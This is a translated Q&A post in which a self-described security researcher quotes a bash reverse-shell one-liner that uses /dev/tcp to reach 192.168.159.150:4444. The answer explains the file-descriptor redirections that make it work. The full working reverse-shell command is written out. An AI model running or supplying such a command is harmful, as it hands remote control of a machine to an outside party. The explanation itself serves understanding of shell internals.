这个命令重定向是如何工作的?

Pet*_*ton 4 command-line shell security

我正在做一些安全研究,我想知道以下代码段如何在基于 Unix 的操作系统上工作:

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

我完全知道什么这个代码不(即超过4444端口建立反向外壳到192.168.159.150),但我不明白这些部分是这样做的:

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

总的来说,这如何组合在一起以产生我所看到的外壳。

任何人都可以帮助解释这一点或为我指明正确的方向来理解这一点吗?

谢谢

Dav*_*ing 5

快速概述:

exec 5<> 正在打开一个新的文件句柄进行读写,然后命名它 5

cat <&5 正在从新打开的文件句柄中读取

2>&5 >&5正在将文件句柄2(stderr) 和文件句柄1(stdout)的输出重定向到文件句柄5。在1由于没有设置在第二重定向文件句柄数在这种情况下是隐含的。